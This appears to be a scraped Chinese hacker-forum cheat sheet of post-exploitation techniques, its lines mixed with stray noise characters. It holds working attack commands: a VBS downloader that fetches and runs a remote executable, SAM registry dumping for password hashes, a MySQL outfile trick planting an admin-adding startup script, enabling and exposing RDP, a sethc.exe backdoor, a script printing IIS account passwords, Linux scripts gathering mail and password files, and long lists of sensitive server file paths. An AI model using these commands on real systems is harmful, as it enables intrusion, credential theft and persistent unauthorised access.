+ [3 s5 e% y- n5 ?alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
5 m/ m. e3 C7 O. R/ h7 h' ]{
0 N' [% }* ^( y# R8 {注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
- W9 X3 K1 B1 g/ o* H2 Z2 W- l}  
9 S/ a& o: {3 z; @
提权先执行systeminfo
" j7 C  N/ s& s# {$ E9 T  Ytoken 漏洞补丁号 KB956572
Churrasco          kb952004
9 Y# z7 O9 I7 C/ ?+ |命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
; e/ d0 q: t" k- ^——————————————
2、收集系统信息的脚本  
4 _2 E& b. T1 W; {, _for window：

  Q& N, b2 I! ]8 V6 b+ Q$ S: ?0 C@echo off
echo #########system info collection
systeminfo
ver
2 f7 {" A: k( S1 P( t8 whostname
( y1 E$ ^! t& |; W8 G6 Xnet user
  |* ?% N+ s9 h  I! W# q( d) M* Znet localgroup
net localgroup administrators
net user guest
6 u9 Z" P$ s; N! rnet user administrator
, t1 f8 z* X8 r, V; j
echo #######at- with   atq#####
/ s" d  P' u! n& necho schtask /query
8 Y+ O% s/ _. n8 E2 o  @
echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
  X7 [5 U9 `- @+ `; W4 Hroute print
" @4 x( Q& c' C7 ~3 r; x, m- karp -a
netstat -anipconfig /displaydns
echo
( L6 t+ ~5 Y9 A7 _5 @, u9 z* Pecho #######service############
- ~$ G$ b7 U. Msc query type= service state= all
echo #######file-##############
! q+ I- t! n4 [+ w) Q- hcd \
tree -F
0 v3 ?% A" U% X! ^) r$ @: s. e. Wfor linux：

- r; V4 Q3 `' y% ~  D6 Q2 a: X#!/bin/bash

echo #######geting sysinfo####
; O% n6 I8 ~# t  d9 [# Fecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
6 ]8 r  V' P$ q* O* {( K* necho
cat /proc/cpuinfo
' S! d0 t; S' k) mecho
rpm -qa 2>/dev/null
######stole the mail......######
2 l5 F, v8 K1 b$ |8 k+ E; n; Zcp -a /var/mail /tmp/getmail 2>/dev/null


4 l) s/ j5 o& j1 n( Z+ c2 {echo 'u'r id is' `id`
  M( V$ M  I) r# l4 \8 |4 g) Y" hecho ###atq&crontab#####
atq
$ P& ~7 n# H, L( rcrontab -l
) U$ j" k3 F' U9 ^* gecho #####about var#####
4 O# x& `6 d! tset
: w" I8 ?! q% F- }- C$ H
echo #####about network###
; d. K1 h! L9 `+ C$ s####this is then point in pentest,but i am a new bird,so u need to add some in it
5 E$ i# z3 Z% }0 ]7 ]% i) ~cat /etc/hosts
6 u  }, h& i2 F% k8 hhostname
ipconfig -a
arp -v
8 i$ d4 c& B, fecho ########user####
! d+ Z7 ~6 d: p# V# w5 zcat /etc/passwd|grep -i sh
  Z' J9 }# N/ j- |" f
echo ######service####
chkconfig --list

/ R9 A4 N  }8 Wfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
: V$ B. v2 D5 ~done

locate passwd >/tmp/password 2>/dev/null
7 }. X- ^) G* R" Bsleep 5
locate password >>/tmp/password 2>/dev/null
3 x* F- L2 ^8 g; m  `+ Z; \sleep 5
locate conf >/tmp/sysconfig 2>dev/null
1 N7 m- [' R# o, q& m' O) asleep 5
locate config >>/tmp/sysconfig 2>/dev/null
; Y& ]) D; G7 `0 o) \sleep 5

###maybe can use "tree /"###
echo ##packing up#########
4 N3 P4 c3 v' ]: Mtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
1 T" ?1 b5 {  ^" T0 \+ ~7 R8 H首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
+ m# M$ Q; z4 j2 k" v" U# G               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
' W3 R8 s2 Q3 o2 \' A9 ~& i3 Y注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
2 U2 K9 C- M# t; W  u" ghash 抓完了记得把自己的账户密码改过来哦！
  P8 e0 {& \- T6 e3 I1 L据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
, c; J. R' ~6 Z/ t1 X4、vbs 下载者
7 n; o9 h/ _6 @% W/ c0 f1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
' s7 r9 M- q" _1 T% i/ j7 d! iecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
8 `+ p4 t8 r) @9 n3 J% j8 Yecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
5 H) l* }8 a$ H- v2 m  Eecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
8 E' d: [, w3 W" e8 V7 m4 e5 {cftmon.vbs

% N1 f1 a) n' t6 E2
0 \# v: }; v1 L% W' J& p6 uOn Error Resume Nextim iRemote,iLocal,s1,s2
6 h0 I/ Z6 i7 E' \iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

# m$ d$ s. E5 h* u8 m3 w6 _cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

8 N5 d& C5 p( [* t当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
- N7 ]. G& K  g9 w8 k5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
1 ?* S$ W* t% {9 |+ yREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
! W, h9 r4 ^# `, q9 n4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
) E' X( A% b+ _! M8 U- H0 a% VREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
% U! N; m2 D' M3 G" n————————————————
! E) z' g! v1 r$ X  I7 M$ E1 F2 b6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
% H! M/ g8 a0 p/ N; n1 z/ s8 Minsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
9 o0 ^. O* A5 d2 Q  [_____
8、for /d %i in (d:\freehost\*) do @echo %i
$ t% c7 a. P: v, p% |4 ^  {2 \
列出d的所有目录
  
  for /d %i in (???) do @echo %i
, W, V. T! _% K/ Q4 q9 ]1 K6 U5 }
把当前路径下文件夹的名字只有1-3个字母的打出来
  N9 a4 V2 ]8 R/ j. ]* Q2 ~3 m
% r7 `/ g/ f, v9 O- q7 L2.for /r %i in (*.exe) do @echo %i
. V/ `  R" X! Z% S/ G' ~# ?& k  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

$ c- U% M6 ], T; ffor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
$ H4 `' q2 f* Q2 N* E3 }  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
2 p! X' n8 _; k" M. C
" Z" {  y* f6 P% B2 S7 ~  @4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  J5 M' P- t. F- l: b$ B' Z% e' z  delims=后的空格是分隔符 tokens是取第几个位置
3 J, ^; I0 O! W( h9 `: R1 S——————————
●注册表:
1.Administrator注册表备份:
( W- n( B, m* |" l1 z2 Q% greg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

9 y( g4 F7 R4 ], i2.修改3389的默认端口:
# v! j+ a; @3 UHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
) `$ R  w/ d& H2 ]修改PortNumber.
" [7 \4 g( m2 }0 b' x9 W! x
3.清除3389登录记录:
/ `8 i7 N) p+ D) x$ D8 Z* k$ g% Zreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

; n; A: C; h* F6 p$ X4.Radmin密码:
9 H8 b  n4 i# T+ h# x" o  Vreg export HKLM\SYSTEM\RAdmin c:\a.reg
. v; o- z- w( U3 ?' s- J/ g
5.禁用TCP/IP端口筛选(需重启):
6 y( \& a$ L! }& GREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
  e5 b( u! y" m+ D% m) s
6.IPSec默认免除项88端口(需重启):
- ~: D7 L4 M! i2 j, Yreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
5 g3 r. a9 E  o  ~netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
4 R- j6 v- s" ~9 I0 Y  J# [* Bnetsh ipsec static set policy name="myipsec" assign=n

" A+ i% q1 P8 K& F8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
) G1 \8 e2 f# L% a8 w0 U
1 J) @2 d& c4 S% c# a9.另类方法抓系统密码HASH
- W5 O- p5 y% ?7 `4 lreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
/ i) J; s% C2 G9 U# Dreg save hklm\security c:\security.hive

8 g6 G! j" t3 F  S; m+ u) \10.shift映像劫持
" [! ~5 _) K8 M4 {' s( X2 O, Freg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
, L$ h1 @+ J# E8 Y
# A' k* r6 t1 m, l# s7 Zreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
5 v( r, K% e* H- n$ xSet ObjService=GetObject("IIS://LocalHost/W3SVC")
$ G: R, J  K3 d8 T& W  j5 ?1 U; I1 MFor Each obj3w In objservice
& O5 b0 X4 N% A+ f' EchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
. A8 a2 |# }' I7 z: kset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
0 L. B5 J4 W/ q( _- F5 Nmsgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
9 T/ i2 j2 R; Y) C3 a1 ]ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
: o: z$ `: o# Tpass=iisweb.AnonymousUserPass
7 L& h( x& l- c) _* o2 t" I# }path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
8 x6 p) s# b+ I% p; }, w$ H/ tNext
wscript.echo list
Set ObjService=Nothing
- F8 U! a4 l* v  R# m" {. ewscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
& u/ M0 Y& j1 L; KWScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
4 z- \5 x5 j, G( V, w1 n; ]2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
& F4 X/ v6 s. X/ k' Z0 ?4 x3 A% a- w将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
" m$ ?# L4 c( b$ D: h, `asp代码，利用的时候会出现登录问题
. l. p; w  a5 E3 V 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
( O' ?* u- o9 D 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
$ o  M  G3 B: F5 a! x url=request.severvariables("path_info")
0 u, D" |5 b1 e  m path_info可以直接呈现虚拟路径 顺利解析gif大马
2 T4 M3 C. N( ]* u+ N
==============================================================
LINUX常见路径：

( P3 ?" M( @" ^: W/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
  I! c* c" j9 u5 c+ d, }/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
) @# J# u- _% y- x: R7 z# d5 p  P/var/www/conf/httpd.conf
/var/www/htdocs/index.html
, A- p1 w# F; A' n. @8 s2 A% e$ B/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
5 k6 \" I% Q. N5 y* X# i: {$ G+ s: m& Z/var/httpd/conf/httpd.conf
( a, s2 v& d% ]- U/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
' o; ?/ u( J- ~( `/var/www/index.html
8 N6 A) u& K" q+ k/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
+ V5 f" L% ]  [- m  k: F, R2 A/ F/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
3 Z7 j0 _& n0 |9 t" u/usr/local/apache/htdocs/index.php
* J/ U4 v- T& H0 C- K& y/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
: _; }% ~/ f; a8 V, V; z/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
* m( h7 x1 Q0 l2 x# P: y/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
$ B9 {" k  {/ a3 i6 F& U9 _/etc/httpd/conf/httpd.conf
3 |( y' i& {# E* Z! C/etc/httpd/htdocs/index.html
/www/php/php.ini
! t. C$ M+ @. l; ^" _/www/php4/php.ini
/www/php5/php.ini
& o0 L7 h! h( Z4 _/www/conf/httpd.conf
  o+ b0 L4 s  Q* q8 X& d& e, w/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
+ I. R3 j. v. [  @/apache/apache/conf/httpd.conf
4 I. q3 T  f1 y! D, W# @& H/apache/apache2/conf/httpd.conf
& G" g# o/ D$ v- C* _/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
9 F) u8 P: B% x, D7 g3 V6 }$ l/etc/apache2/vhosts.d/00_default_vhost.conf
# ?$ M( |) N6 A/ B# O5 h1 T/etc/apache2/sites-available/default
, a5 M8 d' c" j7 u: q/etc/phpmyadmin/config.inc.php
& D8 S5 }* a: P0 M9 M; X/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
' @# }& g# P. L7 Z% Y3 W, I' Q/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
) z; G$ }$ u' E: {& A) x/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
3 Z' K) H' L0 R/ W# T0 Q+ b4 D% `/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
6 w; R3 [" w+ d9 x) [3 D; s/var/log/apache2/access_log
& }5 w1 B; ^8 y. r; e/var/log/apache2/access.log
/var/www/logs/error_log
+ L* Z( X/ Q5 }! u/var/www/logs/error.log
$ O% d- Z8 n! P, P) K( N; o1 y# r/var/www/logs/access_log
/var/www/logs/access.log
% X: d1 Y8 J/ p& P" F6 |! d/usr/local/apache/logs/error_log
% k- K# j+ c$ W2 Z/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
9 G1 P+ o( c, [3 m9 X( p& F/usr/local/apache/logs/access.log
/var/log/error_log
3 n) B5 d1 P2 ~7 i/ ]$ C8 |( x4 x/var/log/error.log
. I, E% m% G1 u4 A5 i/var/log/access_log
/var/log/access.log
/ C- L/ W6 C% `/ s' l% d2 V( h/usr/local/apache/logs/access_logaccess_log.old
) p% C2 v2 v8 W9 G/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
$ R( ]% H* f& r4 b, r5 u$ q/bin/php.ini
/etc/init.d/httpd
8 m* V" @# a/ b  z+ e/ r/etc/init.d/mysql
  j4 K. |) t$ J, q/etc/httpd/php.ini
4 j4 B9 x. P; B& u/ z2 @" |& L  h/usr/lib/php.ini
% {5 W! u3 v2 _# C( i6 l6 W/usr/lib/php/php.ini
/usr/local/etc/php.ini
, c. m" M+ o# F' U; d% B  Q1 {6 a! J/usr/local/lib/php.ini
& H6 k& b* g! `% ?/usr/local/php/lib/php.ini
. \; ^9 c! N& b! e' |3 G3 Y7 U/usr/local/php4/lib/php.ini
; L9 j2 ^# d( D5 O+ W9 m. T7 y  N; U/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
% i& G* @" M. P; x' o/usr/local/php5/php5.ini
# n3 J' I1 E2 N' Q( F/usr/local/apache/conf/php.ini
% C: X: R4 e: m( H6 T/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
6 J# z* d% N8 x7 B5 ~* O9 {7 i/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
; w+ K8 c8 i+ _1 L/etc/php5/apache/php.ini
- Y/ H. e1 |4 ~# v+ ?6 |( ]/etc/php5/apache2/php.ini
/etc/php/php.ini
5 K. f+ s# F  M/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
4 l$ a+ s# V/ ^) I3 e0 T1 J* G. k/web/conf/php.ini
# E& o; s  x* l$ Z% R/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
4 E! O1 @7 }8 O" r/var/local/www/conf/php.ini
1 B: e- V$ r3 u# q$ a- A/var/local/www/conf/httpd.conf
1 D4 C, h' J: C5 _/etc/php/cgi/php.ini
" N; S0 Q$ Y8 D/ p3 @( b. p7 P( |/etc/php4/cgi/php.ini
$ }% W: k% @7 m/etc/php5/cgi/php.ini
) W) w8 Q4 t$ b7 L/php5/php.ini
/php4/php.ini
/php/php.ini
. D# g6 V. ^7 [6 u! R! I% P  |/PHP/php.ini
6 N1 ^) |: ]1 o$ z9 U/apache/php/php.ini
! z# @# h8 o+ i* F' R/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
( W5 m5 [) ^! Q- F8 H% J/var/log/mysql/mysql-bin.log
9 o! {% N6 P. ?3 R8 r  o/var/log/mysql.log
5 t) l- j0 _! y/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
: G* E/ m" A8 p/var/mysql.log
/var/lib/mysql/my.cnf
" B7 v6 ?6 c* d" L' @" j/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
! P+ W9 z: a/ m; t/etc/mysql/my.cnf
  C0 l8 M3 Q2 `/etc/my.cnf
; U! f# ]( w% J, f/usr/local/cpanel/logs
4 k+ y. [" n5 u1 `3 h$ A2 j/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
7 A& a. h+ f9 ^- k8 `0 k/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/ i$ r4 G- y- R8 b; Y/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
/ C7 G0 F" Q9 k- a( {. D% i
c:\windows\php.ini
c:\boot.ini
) ?& `7 `! K( z% \5 ~) b: L2 ]  Hc:\1.txt
c:\a.txt
' u* J7 z+ d& c0 J
c:\CMailServer\config.ini
& E/ v7 i! p0 fc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
# m( m3 j0 _8 z8 u6 J- mC:\WinWebMail\SysInfo.ini
1 W1 _" G7 p; c. S$ ?& B8 Y' \0 f3 eC:\WinWebMail\Web\default.asp
. }$ E% V3 T  ^+ w& _0 H( [$ x0 k. MC:\WINDOWS\FreeHost32.dll
( {  @8 Q) k* b- [' bC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

" K$ h% U, {9 S+ Ic:\hzhost\databases\url.asp
8 ?9 h' P$ j4 n) f/ R! D6 P- k
c:\hzhost\hzclient.exe
2 z* v+ \( E$ JC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
: B6 j4 N) Y1 ^% a8 `" B* ?$ ~
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
% C7 K" U& t' u  D2 XC:\WINDOWS\web.config
% r% G9 c: I5 lc:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
0 |5 F& _" o' M* O8 a% Vc:\website\index.html
c:\web\index.asp
c:\www\index.asp
- E. c5 g4 o+ Q0 Pc:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
- z: ~. ?2 ~% d; K: x' qc:\www\index.php
7 E# o  F3 [8 |. d% \c:\WWWROOT\index.php
8 T0 K) R4 k0 y* z9 a5 ]5 a9 M) Qc:\WWWsite\index.php
! Y4 o+ G/ j: Jc:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
! s$ H1 r) C% \) G- w# L% Xc:\website\default.html
$ ^3 j. a0 S& Ec:\web\default.asp
, a+ Q( b- e1 {5 D8 [2 A  m- U9 Jc:\www\default.asp
2 `8 y! G; g8 p$ ?0 R. l% U: y: |% Vc:\wwwsite\default.asp
c:\WWWROOT\default.asp
3 h3 u! F' h9 K& X) c. ic:\web\default.php
, l: M* c- e( v' W# K+ u+ Oc:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
' d. D/ A4 e' D9 ~8 t& i" ^; pc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
! f9 [3 h  h- r/ ?# a8 f4 p( s1 W2 a( RC:\Program Files\Microsoft Office\OFFICE12\winword.exe
0 s: t4 _  d3 G9 D( DC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
3 f3 [( F6 j3 C9 x& d9 R' ^C:\Program Files\360\360Safe\360safe.exe
" U; H9 }# v/ e" t6 h, N& tC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
8 t2 Z7 B9 Y3 C; @7 ^C:\Program Files\Rising\Rav\RsTask.xml
9 H9 N- T7 ~" |6 B! F  QC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
+ w7 x$ s2 ?. }$ i, K# @C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
0 Q+ O5 C- j( {: H4 I4 k, o5 R5 YC:\Documents and Settings\Administrator\桌面\1.txt
( M4 F" C' U2 l& GC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
+ ~+ ]6 V3 {6 _2 ~; [  N  PC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
7 a# v' t+ q) W! B: u+ l" G* w0 wC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
9 Z. x: A! V, s' b6 f3 m- Z2 X+ R& \C:\Program Files\Symantec\SYMEVENT.INF
  ^4 o1 g, M9 r" mC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
" {* W5 i$ ^4 j& J7 C5 TC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
0 K5 F+ \# w" h' M3 TC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
* K2 G9 A- i4 ?, l; x5 tC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
1 G3 p2 K. ^; `* w! PC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
2 d& x1 o# d. @6 F9 r1 }8 IC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
# B, b! C) i8 Z: y! V5 S. cC:\WINDOWS\system32\inetsrv\w3wp.exe
/ C; Z& l& d0 J& Q* wC:\WINDOWS\system32\inetsrv\inetinfo.exe
  W4 N. [1 n1 b$ GC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
+ L) t6 Q% L4 b% JC:\WINDOWS\system32\config\sam
  m  f+ j' @4 C3 c4 i* Z0 RC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
2 s- }, o# x" {8 u* B# [% L2 fc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
6 ?& a$ c: q( Mc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
4 x1 r" [3 K: K- ?. C2 E3 C; |c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
+ R* z& A5 E- G) b/usr/local/tomcat5527/bin/version.sh
, @) D, C( {% M! }. K5 C! b/usr/share/tomcat6/bin/startup.sh
8 A2 d' C3 N7 x+ J  d' M3 ]' j9 n/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
5 S9 x5 A0 O$ V! O9 ^7 Ic:\Program Files\Tencent\qq\qq.exe
) j$ Z; [  ~# j: ic:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
5 u, h2 z9 t  \4 `0 a' R" Jc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
